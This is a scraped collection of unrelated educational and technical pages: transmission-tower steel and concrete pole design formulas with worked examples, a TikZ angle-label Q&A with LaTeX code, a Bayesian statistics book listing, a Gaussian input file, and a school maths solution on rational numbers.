(3.20g)\n\nNFE is the Normal Framing Eccentricity which is defined as the condition when the centroid of the bolt pattern is located between the heel of the angle and the centerline of the connected leg. NFE may cause a reduction of up to 20% in the axial capacity of short, stocky, single angle struts.\n\nAngles in Tension:\n\nFor angle members connected by one leg:\n\nDesign tensile stress on net cross-sectional area = Ft = 0.90 Fy (3.21a)\n\nNet Section Capacity Ncap = AnetFt (3.21b)\n\n(For angle members connected in both legs, the 0.90 factor is replaced by 1.0 (i.e.) Ft = Fy).\n\nNcap is the strength based on tearing of a member across its net area\n\nAnet which is defined as: Anet = Ag − (d)(t)(nh) (3.21c)\n\nwhere:\n\nAg = gross cross-sectional area of the angle section\n\nd = bolt hole diameter (generally 1/16 in. or 1.6 mm more than bolt diameter)\n\nnh = number of holes\n\nt = thickness of angle\n\nIf there is a chain of holes in a zigzag fashion in an equal leg angle, then the net width of an element hn and the net area Anet must be determined as follows:\n\nhn = [2h − (nh)(d) + ng(s 2/4g)] (3.22a) Anet = (hn)(t) (3.22b)\n\nwhere:\n\nh = width of angle leg\n\nnh = number of bolt holes in the chain\n\nng = number of gauge spaces in the chain\n\ns = bolt spacing or pitch along the line of force\n\ng = gauge length or transverse spacing of the bolts\n\nIf the centroid of the bolt pattern on the connected leg is outside the center of gravity of the angle, then all connections must be checked for block shear or rupture using Equation 3.23:\n\nRBSH = 0.60AvFu + AtFy (3.23)\n\nwhere:\n\nAv = minimum net area in shear along a line of transmitted force for a single angle = (t) {a + (nb − 1)(b)}\n\nt = angle thickness\n\na = effective end distance = e − d/2 (See Figure 3.20)\n\nb = s − d (See Figure 3.20)\n\ns = bolt spacing, center to center\n\nFu = specified minimum tensile strength of the angle steel\n\nFy = specified minimum yield stress of the angle steel\n\nAt = (t)(c)\n\nc = effective edge distance = f − d/2 (See Figure 3.20)\n\nd = bolt hole diameter\n\ne, f = as shown in Figure 3.20\n\nnb = number of bolt holes\n\nConnection rupture often occurs due to insufficient edge and end distances as well as bolt spacing. ASCE 10-15 therefore specifies the following minimum values for the parameters.\n\nMinimum end and edge distances\n\nThe minimum end distance ‘e’ (inches) shall be the largest value of:\n\ne = 1.2 P/tFu or\n\n= 1.3d or\n\n= t + (d/2)\n\nP = force transmitted by bolt\n\nd = nominal bolt hole diameter\n\nMinimum edge distance ‘f’ (inches) shall not be less than:\n\n(a) 0.85 emin for a rolled edge\n\n(b) 0.85 emin + 0.0625 in. for a sheared or mechanically-cut edge where emin is the largest value determined from Equations 3.24a, 3.24b and 3.24c.\n\nBolt spacing\n\nThe center-to-center distance between bolt holes shall not be less than:\n\nsmin = 1.2 P/tFu + 0.6 d (3.24d)\n\nTower grounding The process discussed for steel poles is also applicable to steel towers, except that grounding must be facilitated at a minimum of 2 tower legs. In situations where ground resistance is not optimum, all 4 legs can be grounded.\n\nExamples 3.12, 3.13, 3.14 and 3.15 given below illustrate various concepts associated with tower design, namely, crossing diagonals, allowable compressive stress, net section areas and block shear determination.\n\nExample 3.12 Determine the effective buckling lengths of the crossing diagonals of the tower panel shown below.\n\nb = 11.7 ft. (3.57 m)\n\nv = 13.25 ft. (4.04 m)\n\nk = 1.483 ft. (0.452 m)",
null,
"Solution:\n\nThe AISC Steel Manual’s cross bracing equations were used to estimate the lengths of the main diagonals. The diagonals usually have a bolt at the meeting point which helps with reducing effective buckling lengths.",
null,
"Example 3.13 For the 10 ft. (3.05 m) tower angle member shown, determine the design compressive stress Fa. Assume Fy = 50 ksi (344.8 MPa) and E = 29,000 ksi (200 GPa).",
null,
"Solution:\n\nFor the 3’’ × 3’’ × ¼’’ angle:\n\nCross Sectional Area = 1.44 in2 (929 mm2)\n\nSlenderness Ratios:\n\nrx = 0.93 in. (23.6 mm)\n\nry = 0.93 in. (23.6 mm)\n\nrz = 0.59 in. (15 mm)\n\nThe presence of two bolts at each end and the member framing into other members at the joints provides for partial restraint. Assume normal framing eccentricity at both ends. Using Equation 3.20g:\n\nkL/r = 46.2 + 0.615 L/r = 46.2 + (0.615) ((10)(12)/r) = 46.2 + 73.8/r About X- and Y-axes: kL/rx = kL/ry = 46.2 + 73.8/0.93 = 125.6 About Z-axis: kL/rz = 46.2 + 73.8/0.59 = 171.3 − controls The width-to-thickness ratio of the member is w/t = 3/0.25 = 12\n\nLimiting w/t ratios:\n\n(w/t)lim1 = 80/ \u0002Fy = 80/7.071 = 11.3\n\n(w/t)lim2 = 144/\u0002Fy = 144/7.071 = 20.4\n\n11.3 < 12 < 20.4\n\n(w/t)lim1< (w/t) < (w/t)lim2\n\nTherefore, from Equation 3.19a:\n\nFcr = [1.677 − (0.677) (12/11.3)] (50) = 47.93 ksi (330.24 MPa)\n\nCc = π \u0002 (2)(29000)/47.93 = (3.1416) (34.78) = 109.3\n\nkL/r > Cc\n\nDesign compressive stress using Equation 3.17b:\n\nFa = π2E/(kL/r) 2 = (3.14162)(29000)/171.32 = 9.8 ksi (67.6 kPa)\n\nCorresponding design compressive force = (1.44) (9.8) = 14.1 kips (62.8 kN)\n\nNote: The above value is only from slenderness point of view. The connection’s shear and bearing capacity must also be evaluated to determine which one controls.\n\nExample 3.14 For the 5’’ × 5’’ × ½’’ steel angle shown, determine:\n\n(a) Net area\n\n(b) Net section capacity in tension\n\n(c) If the end and edge distances shown are adequate. (assume force transmitted as 20 kips). Assume a rolled edge.\n\nAll bolts are ¾ in. (19 mm) diameter. Fy = 36 ksi (248 MPa) and Fu = 58 ksi (400 MPa).\n\nSolution:\n\nAngle properties: Area Ag = 4.75 in2 (30.65 cm2)\n\nBolt hole diameter = ¾ + 1/16 = 13/16 in. (2.06 cm)",
null,
"",
null,
"Example 3.15\n\nDetermine the block shear capacity of the above the 3’’ × 3’’ × ¼’’ steel angle. All bolts are ¾ in. (19 mm) diameter. Fy = 36 ksi (248 MPa) and Fu = 58 ksi (400 MPa).\n\nSolution:\n\nBolt hole diameter = ¾ + 1/16 = 13/16 in. (2.06 cm)\n\nFrom steel tables, the CG of the angle section is at a distance of 0.842 in. (21.4 mm) from the heel. The bolt pattern line is outside the CG. Equation 3.23 applies.",
null,
"## 1-d) Concrete poles\n\nThe behavior of reinforced concrete poles used as transmission structures is more complex than steel given the basic difference in material – while steel is a uniform and isotropic material, concrete is anisotropic, non-linear with low tensile strength (i.e.) susceptible to cracking at even moderate bending. Concrete poles are therefore evaluated not only in terms of the ultimate moment (factored loads), but also the initial cracking moment at service loads and zero tension moment (no cracking). The initial cracking strength will be roughly 40% to 55% of the ultimate strength while zero tension strength is about 70% to 85% of the initial cracking strength. Element usage is determined only as a function of bending moment. Derivations of various equations are available in ASCE Manual 123 (2012).\n\nThe behavior of concrete poles subject to axial and flexural loads is an explicit function of f\u0005 c, the concrete 28-day strength which in turn controls the Modulus of Elasticity, Ec, and thereby, the pole’s bending resistance. Figures 3.26 and 3.27 show the assumed stress distribution used in deriving the relevant moment expressions. The equations for computing pole cross section moment capacity are based on section equilibrium and at a given elevation are as follows:",
null,
"",
null,
"c = Depth of stress block (NA to extreme compressive fiber) (in. or mm)\n\nei = di − c (di is the distance of the ‘i’-th strand from extreme compression fiber) (in. or mm)\n\nK = Factor relating centroid of force Cc to Neutral Axis (NA)\n\nInitial Cracking Strength Mic = (fr Ig/yt) + (PIg/Agyt) (3.25b)\n\nwhere:\n\nfr = Modulus of Rupture of concrete = 7.5 \u0002 f\u0005 c (psi) for normal weight concrete\n\nAg = Gross area of the cross section (in2 or mm2)\n\nIg = Gross moment of Inertia of the cross section (in4 or mm4)\n\nyt = Distance of extreme tensile fiber from centroidal axis (in or mm)\n\nP = Effective Prestress Force (lbs. or N)\n\nMic is approximately equal to 40% to 55% of Mu.\n\nZero Tension Capacity\n\nMzt = (PIg/Agyt) (3.25c) Mzt is approximately equal to 70% to 85% of Mic or 28% to 47% of Mu.\n\nThe usage of concrete poles is determined for each of the above three definitions of bending moments with the appropriate strength factor, as specified for the design. For square concrete poles, the procedures are the same except that the bending moment M is replaced by the larger of the two moments about the principal axes, X and Y.\n\n## 1-e) Composite Poles\n\nThe design of composite poles is governed by both strength (flexural capacity) and stiffness (deflections). The most common way of selecting a composite pole is by using the design charts provided by the manufacturer – in terms of wood pole equivalency – and then check if the pole geometry is adequate for a given limiting deflection.\n\nRS Technologies (2012), for example, provides a design guide with various pole modules and lengths, and lateral load capacities (load applied 2 ft. from pole top) accompanied by tip deflections.\n\nComposite pole grounding\n\nMost composite poles can be grounded in the same manner as wood poles, with the ground wire affixed to the outer surface of the pole using wire clips and screws. Another option is to have the ground wire run internally through the pole, exiting to the ground rod through a hole in the base module."
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https://tex.stackexchange.com/questions/502638/move-label-of-an-angle-in-tikz/502639 | [
"# Move label of an angle in Tikz\n\nI've proudly produced the following figure, with your help. But there is a detail that is not fine: the theta2 label has to be moved. I know how to move labels on a line but not in this case. How does it work?",
null,
"\\documentclass{article}\n\\usepackage{tkz-euclide}\n\\usepackage{amsmath}\n\\usepackage{amsthm}\n\\usepackage{amsfonts}\n\\usetkzobj{all}\n\\usepackage{subcaption}\n\n\\usetkzobj{all}\n\\usetikzlibrary{calc,patterns,angles,quotes}\n\n\\begin{document}\n\n\\begin{tikzpicture}[scale=1]\n\\begin{scope}[thick,font=\\scriptsize]\n\\draw [->] (-.5,0) -- (5.5,0) node [above left] {$\\operatorname{Re} z$};\n\\draw [->] (0,-.5) -- (0,4) node [below right] {$\\operatorname{Im} z$};\n\\end{scope}\n\\coordinate (o) at (0,0);\n\\coordinate (z1) at (4.511,1.642);\n\\coordinate (z2) at (2.143,2.553);\n\\coordinate (pr) at (1.368,3.759);\n\\coordinate (x) at (1,0);\n\\coordinate (y) at (0,1);\n\\draw (o) -- node[above,shift={(.4cm,.1cm)}] {$r_1$} (z1) node [right] {$z_1$};\n\\draw (o) -- node[above,yshift=.2cm] {$r_2$} (z2) node [right] {$z_2$};\n\\draw (o) -- node[above,yshift=1cm] {$r_1{\\cdot}r_2$} (pr) node [right] {$z_1\\cdot z_2$};\n\\draw pic[draw, \"$\\theta_1$\", ->, angle eccentricity=1.2,angle radius = 1cm] {angle = x--o--z1};\n\\draw pic[draw, \"$\\theta_2$\", ->, angle eccentricity=1.2,angle radius = 1.5cm] {angle = x--o--z2};\n\\draw pic[draw, \"$\\theta_1{+}\\theta_2$\", ->, angle eccentricity=1.2,angle radius = 2.5cm] {angle = x--o--pr};\n\\end{tikzpicture}\n\n\\end{document}\n\n\nThe text pic text has the option text pic options. Here, simply move the text up to the left to avoid overlapping on the side z_1of the angle.\n\npic text options={shift={(-3pt,3pt)}}\n\n\nI took the liberty of colouring the different angles, which in my humble opinion makes the figure easier to read.",
null,
"\\documentclass{article}\n\\usepackage{tkz-euclide}\n\\usepackage{amsmath}\n\\usepackage{amsthm}\n\\usepackage{amsfonts}\n\\usepackage{subcaption}\n\n\\usetikzlibrary{calc,patterns,angles,quotes}\n\n\\begin{document}\n\n\\begin{tikzpicture}[scale=1]\n\\begin{scope}[thick,font=\\scriptsize]\n\\draw [->] (-.5,0) -- (5.5,0) node [above left] {$\\operatorname{Re} z$};\n\\draw [->] (0,-.5) -- (0,4) node [below right] {$\\operatorname{Im} z$};\n\\end{scope}\n\\coordinate (o) at (0,0);\n\\coordinate (z1) at (4.511,1.642);\n\\coordinate (z2) at (2.143,2.553);\n\\coordinate (pr) at (1.368,3.759);\n\\coordinate (x) at (1,0);\n\\coordinate (y) at (0,1);\n\\draw (o) -- node[above,shift={(.4cm,.1cm)}] {$r_1$} (z1) node [right] {$z_1$};\n\\draw (o) -- node[above,yshift=.2cm] {$r_2$} (z2) node [right] {$z_2$};\n\\draw (o) -- node[above,yshift=1cm] {$r_1{\\cdot}r_2$} (pr) node [right] {$z_1\\cdot z_2$};\n\\draw pic[draw,red, \"$\\theta_1$\", ->, angle eccentricity=1.2,angle radius = 1cm] {angle = x--o--z1};\n\\draw pic[draw,blue, \"$\\theta_2$\", ->, angle eccentricity=1.2,angle radius = 1.5cm,pic text options={shift={(-3pt,3pt)}}] {angle = x--o--z2};\n\\draw pic[draw,violet, \"$\\theta_1{+}\\theta_2$\", ->, angle eccentricity=1.2,angle radius = 2.5cm] {angle = x--o--pr};\n\\end{tikzpicture}\n\n\\end{document}\n\n• You're right, it's working with your code. I must have had something strange on my end, where I found that \\draw pic[pic text options=...] was working but not \\pic[pic text options=...] I'll delete my comment! – PatrickT Jul 5 at 10:23\n\nIn this case I think that we can add options to the angle label by putting them after the quotted text like that : \\draw pic[draw, \"$\\theta_2$\"{option1,option2,...}, ->, angle eccentricity=1.2,angle radius = 1.5cm] {angle = x--o--z2};\n\nthe code\n\n\\documentclass{article}\n\\usepackage{tkz-euclide}\n\\usepackage{amsmath}\n\\usepackage{amsthm}\n\\usepackage{amsfonts}\n\\usetkzobj{all}\n\\usepackage{subcaption}\n\n\\usetkzobj{all}\n\\usetikzlibrary{calc,patterns,angles,quotes}\n\n\\begin{document}\n\n\\begin{tikzpicture}[scale=1]\n\\begin{scope}[thick,font=\\scriptsize]\n\\draw [->] (-.5,0) -- (5.5,0) node [above left] {$\\operatorname{Re} z$};\n\\draw [->] (0,-.5) -- (0,4) node [below right] {$\\operatorname{Im} z$};\n\\end{scope}\n\\coordinate (o) at (0,0);\n\\coordinate (z1) at (4.511,1.642);\n\\coordinate (z2) at (2.143,2.553);\n\\coordinate (pr) at (1.368,3.759);\n\\coordinate (x) at (1,0);\n\\coordinate (y) at (0,1);\n\\draw (o) -- node[above,shift={(.4cm,.1cm)}] {$r_1$} (z1) node [right] {$z_1$};\n\\draw (o) -- node[above,yshift=.2cm] {$r_2$} (z2) node [right] {$z_2$};\n\\draw (o) -- node[above,yshift=1cm] {$r_1{\\cdot}r_2$} (pr) node [right] {$z_1\\cdot z_2$};\n\\draw pic[draw, \"$\\theta_1$\", ->, angle eccentricity=1.2,angle radius = 1cm] {angle = x--o--z1};\n\\draw pic[ draw,->,blue, \"$\\theta_2$\"{shift=(80:0.35),inner sep=1pt, circle,draw},angle eccentricity=1.1,angle radius = 1.5cm] {angle = x--o--z2};\n\\draw pic[draw, \"$\\theta_1{+}\\theta_2$\", ->, angle eccentricity=1.2,angle radius = 2.5cm] {angle = x--o--pr};\n\\end{tikzpicture}\n\n\\end{document}",
null,
"• +1 very nice solution – AndréC Aug 3 '19 at 9:52\n• @AndréC Thank you – Hafid Boukhoulda Aug 3 '19 at 11:00\n• Nice! Couldn't work out how to adapt \"$\\theta$\"shift=(80:0.35) to my case, but discovered that something like \"$\\theta$\"{xshift=6pt,yshift=-15pt} also works. – PatrickT Jul 5 at 9:32\n\nLet us move labels by hand.",
null,
"\\documentclass[tikz,border=5mm]{standalone}\n\\begin{document}\n\\begin{tikzpicture}[scale=2,thick]\n\\draw[->] (-.5,0)--(2.5,0) node[below]{\\rm{Re}$z$};\n\\draw[->] (0,-.5)--(0,3) node[left]{\\rm{Im}$z$};\n\\def\\aone{20} \\def\\atwo{45}\n\\def\\rone{2} \\def\\rtwo{1.6}\n\\draw\n(0,0)--(\\aone:\\rone)\nnode[pos=.8,below]{$r_1$} node[right]{$z_1$}\n(0,0)--(\\atwo:\\rtwo)\nnode[pos=.65,left]{$r_2$} node[above]{$z_2$}\n(0,0)--(\\aone+\\atwo:\\rone*\\rtwo)\nnode[pos=.65,left]{$r_1\\cdot r_2$} node[right]{$z_1\\cdot z_2$};\n\\draw[->,red] (0:.5) arc(0:\\aone:.5)\nnode[pos=.55,right]{$\\theta_1$};\n\\draw[->,blue] (0:.8) arc(0:\\atwo:.8)\nnode[pos=.75,right]{$\\theta_2$};\n\\draw[->,magenta] (0:1.2) arc(0:\\aone+\\atwo:1.2)\nnode[pos=.55,right]{$\\theta_1+\\theta_2$};\n\\end{tikzpicture}\n\\end{document}\n\n\nUse the angle line as before without label and create a separate label for the angle z1--o--z2. You get",
null,
"with the code\n\n\\usepackage{tkz-euclide}\n\\usepackage{amsmath}\n\\usepackage{amsthm}\n\\usepackage{amsfonts}\n\\usetkzobj{all}\n\\usepackage{subcaption}\n\n\\usetkzobj{all}\n\\usetikzlibrary{calc,patterns,angles,quotes}\n\n\\begin{document}\n\n\\begin{tikzpicture}[scale=1]\n\\begin{scope}[thick,font=\\scriptsize]\n\\draw [->] (-.5,0) -- (5.5,0) node [above left] {$\\operatorname{Re} z$};\n\\draw [->] (0,-.5) -- (0,4) node [below right] {$\\operatorname{Im} z$};\n\\end{scope}\n\\coordinate (o) at (0,0);\n\\coordinate (z1) at (4.511,1.642);\n\\coordinate (z2) at (2.143,2.553);\n\\coordinate (pr) at (1.368,3.759);\n\\coordinate (x) at (1,0);\n\\coordinate (y) at (0,1);\n\\draw (o) -- node[above,shift={(.4cm,.1cm)}] {$r_1$} (z1) node [right] {$z_1$};\n\\draw (o) -- node[above,yshift=.2cm] {$r_2$} (z2) node [right] {$z_2$};\n\\draw (o) -- node[above,yshift=1cm] {$r_1{\\cdot}r_2$} (pr) node [right] {$z_1\\cdot z_2$};\n\\draw pic[draw, \"$\\theta_1$\", ->, angle eccentricity=1.2,angle radius = 1cm] {angle = x--o--z1};\n\\draw pic[draw, ->, angle eccentricity=0.8,angle radius = 1.5cm] {angle = x--o--z2};\n\\draw pic[draw, \"$\\theta_1{+}\\theta_2$\", ->, angle eccentricity=1.2,angle radius = 2.5cm] {angle = x--o--pr};\n\\tkzLabelAngle[ pos = 1.2](z1,o,z2){$\\theta_2$}\n\\end{tikzpicture}\n\n\\end{document}"
] | [
null,
"https://i.stack.imgur.com/a0BVW.png",
null,
"https://i.stack.imgur.com/OW5wh.png",
null,
"https://i.stack.imgur.com/6YgAT.png",
null,
"https://i.stack.imgur.com/OD3Si.png",
null,
"https://i.stack.imgur.com/cgXPa.png",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5435734,"math_prob":0.9983334,"size":1427,"snap":"2020-45-2020-50","text_gpt3_token_len":568,"char_repetition_ratio":0.1314125,"word_repetition_ratio":0.018518519,"special_character_ratio":0.4015417,"punctuation_ratio":0.22789116,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99997985,"pos_list":[0,1,2,3,4,5,6,7,8,9,10],"im_url_duplicate_count":[null,1,null,1,null,1,null,1,null,1,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-11-24T18:19:47Z\",\"WARC-Record-ID\":\"<urn:uuid:61232bcd-9a67-428a-9458-83dc9773946f>\",\"Content-Length\":\"166476\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:d97cbe09-ec83-4843-9a97-14f7b1eef8e8>\",\"WARC-Concurrent-To\":\"<urn:uuid:a316a888-3365-4945-9a07-4dfc612f3f53>\",\"WARC-IP-Address\":\"151.101.1.69\",\"WARC-Target-URI\":\"https://tex.stackexchange.com/questions/502638/move-label-of-an-angle-in-tikz/502639\",\"WARC-Payload-Digest\":\"sha1:ZLAY5GCF7IYT3HZHB22EPTPYHWCLWGLZ\",\"WARC-Block-Digest\":\"sha1:IHGITZ7O53S4TGRFWYFTQGPXL6T5HLSC\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-50/CC-MAIN-2020-50_segments_1606141176922.14_warc_CC-MAIN-20201124170142-20201124200142-00528.warc.gz\"}"} |
https://www.oreilly.com/library/view/case-studies-in/9781118394328/ | [
"## Book description\n\nProvides an accessible foundation to Bayesian analysis using real world models\n\nThis book aims to present an introduction to Bayesian modelling and computation, by considering real case studies drawn from diverse fields spanning ecology, health, genetics and finance. Each chapter comprises a description of the problem, the corresponding model, the computational method, results and inferences as well as the issues that arise in the implementation of these approaches.\n\nCase Studies in Bayesian Statistical Modelling and Analysis:\n\n• Illustrates how to do Bayesian analysis in a clear and concise manner using real-world problems.\n\n• Each chapter focuses on a real-world problem and describes the way in which the problem may be analysed using Bayesian methods.\n\n• Features approaches that can be used in a wide area of application, such as, health, the environment, genetics, information science, medicine, biology, industry and remote sensing.\n\nCase Studies in Bayesian Statistical Modelling and Analysis is aimed at statisticians, researchers and practitioners who have some expertise in statistical modelling and analysis, and some understanding of the basics of Bayesian statistics, but little experience in its application. Graduate students of statistics and biostatistics will also find this book beneficial.\n\n1. Cover\n2. Wiley Series in Probability and Statistics\n3. Title Page\n5. Preface\n6. List of contributors\n7. Chapter 1: Introduction\n8. Chapter 2: Introduction to MCMC\n9. Chapter 3: Priors: Silent or active Partners of Bayesian Inference?\n10. Chapter 4: Bayesian Analysis of the Normal Linear Regression Model\n11. Chapter 5: Adapting ICU Mortality Models for Local Data: A Bayesian Approach\n12. Chapter 6: A Bayesian Regression Model with Variable Selection for Genome-Wide Association Studies\n13. Chapter 7: Bayesian Meta-Analysis\n14. Chapter 8: Bayesian Mixed Effects Models\n15. Chapter 9: Ordering of Hierarchies in Hierarchical Models: Bone Mineral Density Estimation\n16. Chapter 10: Bayesian Weibull Survival Model for Gene Expression Data\n17. Chapter 11: Bayesian Change Point Detection in Monitoring Clinical Outcomes\n18. Chapter 12: Bayesian Splines\n19. Chapter 13: Disease Mapping using Bayesian Hierarchical Models\n20. Chapter 14: Moisture, Crops and Salination: An Analysis of a Three-Dimensional Agricultural Data Set\n21. Chapter 15: A Bayesian Approach to Multivariate State Space Modelling: A Study of a Fama–French Asset-Pricing Model with Time-Varying Regressors\n22. Chapter 16: Bayesian Mixture Models: When the Thing you need to know is the Thing you cannot Measure\n23. Chapter 17: Latent Class Models in Medicine\n24. Chapter 18: Hidden Markov Models for Complex Stochastic Processes: A Case Study in Electrophysiology\n25. Chapter 19: Bayesian Classification and Regression Trees\n26. Chapter 20: Tangled Webs: Using Bayesian Networks in the Fight Against Infection\n27. Chapter 21: Implementing Adaptive Dose Finding Studies using Sequential Monte Carlo\n28. Chapter 22: Likelihood-Free Inference for Transmission Rates of Nosocomial Pathogens\n29. Chapter 23: Variational Bayesian Inference for Mixture Models\n30. Chapter 24: Issues in Designing Hybrid Algorithms\n31. Chapter 25: A Python Package for Bayesian Estimation using Markov Chain Monte Carlo\n32. Index\n33. Wiley Series in Probability and Statistics\n\n## Product information\n\n• Title: Case Studies in Bayesian Statistical Modelling and Analysis\n• Author(s):\n• Release date: December 2012\n• Publisher(s): Wiley\n• ISBN: 9781119941828"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.81608653,"math_prob":0.52279055,"size":4169,"snap":"2021-31-2021-39","text_gpt3_token_len":871,"char_repetition_ratio":0.17406963,"word_repetition_ratio":0.03089431,"special_character_ratio":0.19453107,"punctuation_ratio":0.11010558,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9746906,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-07-25T17:26:49Z\",\"WARC-Record-ID\":\"<urn:uuid:7a71f2b7-7b20-4a6f-a321-ab813adeef67>\",\"Content-Length\":\"84113\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:9253678f-d394-4af9-bbf1-fa8b0d58e79c>\",\"WARC-Concurrent-To\":\"<urn:uuid:b155254f-4139-4b2a-a654-38eb9d4a689e>\",\"WARC-IP-Address\":\"23.6.23.248\",\"WARC-Target-URI\":\"https://www.oreilly.com/library/view/case-studies-in/9781118394328/\",\"WARC-Payload-Digest\":\"sha1:EWFWVWZKDN2GRPMNH26NCCIV3WE2RJIS\",\"WARC-Block-Digest\":\"sha1:2XGNU4M6A3SP3DGR4BGWCNOJQ3NDQEYN\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046151699.95_warc_CC-MAIN-20210725143345-20210725173345-00239.warc.gz\"}"} |
https://help.rc.ufl.edu/mediawiki/index.php?title=Gaussian_galaxy-input&diff=16199&oldid=9454 | [
"# Difference between revisions of \"Gaussian galaxy-input\"\n\n```%nproc=4\n%mem=900mb\n!walltime=11:00:00\n\n#P HF/6-31G(d) scf=tight\n\ntest1 HF/6-31G(d) sp formaldehyde\n\n0 1\nC1\nO2 1 r2\nH3 1 r3 2 a3\nH4 1 r4 2 a4 3 d4\n\nr2=1.20\nr3=1.0\nr4=1.0\na3=120.\na4=120.\nd4=180.\n\n```"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.56703895,"math_prob":0.91017246,"size":817,"snap":"2021-43-2021-49","text_gpt3_token_len":381,"char_repetition_ratio":0.11316113,"word_repetition_ratio":0.39370078,"special_character_ratio":0.5067319,"punctuation_ratio":0.16666667,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95875627,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-11-27T02:11:57Z\",\"WARC-Record-ID\":\"<urn:uuid:adb6fc09-b934-482b-84d9-22b82146c0ae>\",\"Content-Length\":\"19918\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:781609bc-ab10-4cb7-b82e-767a69fe02da>\",\"WARC-Concurrent-To\":\"<urn:uuid:260e17cb-4663-4fbf-9b8d-91ba19c8220f>\",\"WARC-IP-Address\":\"128.227.221.129\",\"WARC-Target-URI\":\"https://help.rc.ufl.edu/mediawiki/index.php?title=Gaussian_galaxy-input&diff=16199&oldid=9454\",\"WARC-Payload-Digest\":\"sha1:SLGWMLOZLCLJNIPK6P5PN64ZZJJTLIXT\",\"WARC-Block-Digest\":\"sha1:KLARP6GBU6M7CAS63JH3OUWA4XDJV624\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-49/CC-MAIN-2021-49_segments_1637964358078.2_warc_CC-MAIN-20211127013935-20211127043935-00611.warc.gz\"}"} |
https://bsebsolutions.com/bihar-board-class-9th-maths-solutions-chapter-1-ex-1-1-english-medium/ | [
"# Bihar Board Class 9th Maths Solutions Chapter 1 Number Systems Ex 1.1\n\nBihar Board Class 9th Maths Solutions Chapter 1 Number Systems Ex 1.1 Textbook Questions and Answers.\n\n## BSEB Bihar Board Class 9th Maths Solutions Chapter 1 Number Systems Ex 1.1",
null,
"Question 1.\nIs zerc a rational number? Can you write it in P the form $$\\frac { p }{ q }$$, where p and q are integers and q ≠ 0?\nSolution:\nYes,-zero is a rational number.\nZero can be written in any of the following forms :\n$$\\frac { 0 }{ 1 }$$, $$\\frac { 0 }{ -1 }$$, $$\\frac { 0 }{ 2 }$$, $$\\frac { 0 }{ -2 }$$ and so on.\nThus, 0 can be written as $$\\frac { p }{ q }$$, where p = 0 and q is any non-zero integer.\nHence, 0 is a rational number.\n\nQuestion 2.\nFind six rational numbers between 3 and 4.\nSolution:\nWe know that between two rational numbers x and y, such that x < y, there is a rational number $$\\frac { x+y }{ 2 }$$. That is, x < $$\\frac { x+y }{ 2 }$$ < y\nA rational number between $$\\frac { 1 }{ 2 }$$ and 4 is $$\\frac { 1 }{ 2 }$$(3 + 4) i.e., $$\\frac { 7 }{ 2 }$$\n∴ 3 < $$\\frac { 7 }{ 2 }$$ < 4\nNow, a rational number between 3 and $$\\frac { 7 }{ 2 }$$ is",
null,
"Hence, six rational numbers between 3 and 4 are :\n$$\\frac { 25 }{ 8 }$$, $$\\frac { 13 }{ 4 }$$, $$\\frac { 7 }{ 2 }$$, $$\\frac { 15 }{ 4 }$$, $$\\frac { 31 }{ 8 }$$ and $$\\frac { 63 }{ 16 }$$\n\nAlternative Method\nSince we want 6 rational numbers between 3 and 4, so we write 3 = $$\\frac{3 \\times 7}{1 \\times 7}$$ = $$\\frac { 21 }{ 7 }$$ and 4 = $$\\frac{4 \\times 7}{1 \\times 7}$$ =\nWe know that 21 < 22 < 23 < 24 < 25 < 26 < 27 < 28\n⇒ $$\\frac { 21 }{ 7 }$$ < $$\\frac { 22 }{ 7 }$$ < $$\\frac { 23 }{ 7 }$$ < $$\\frac { 24 }{ 7 }$$ < $$\\frac { 25 }{ 7 }$$ < $$\\frac { 26 }{ 7 }$$ < $$\\frac { 27 }{ 7 }$$ < $$\\frac { 28 }{ 7 }$$.\nHence, six rational numbers between 3 = $$\\frac { 21 }{ 7 }$$ and 4 = $$\\frac { 28 }{ 7 }$$ are $$\\frac { 22 }{ 7 }$$, $$\\frac { 23 }{ 7 }$$, $$\\frac { 24 }{ 7 }$$, $$\\frac { 25 }{ 7 }$$, $$\\frac { 26 }{ 7 }$$ and $$\\frac { 27 }{ 7 }$$.",
null,
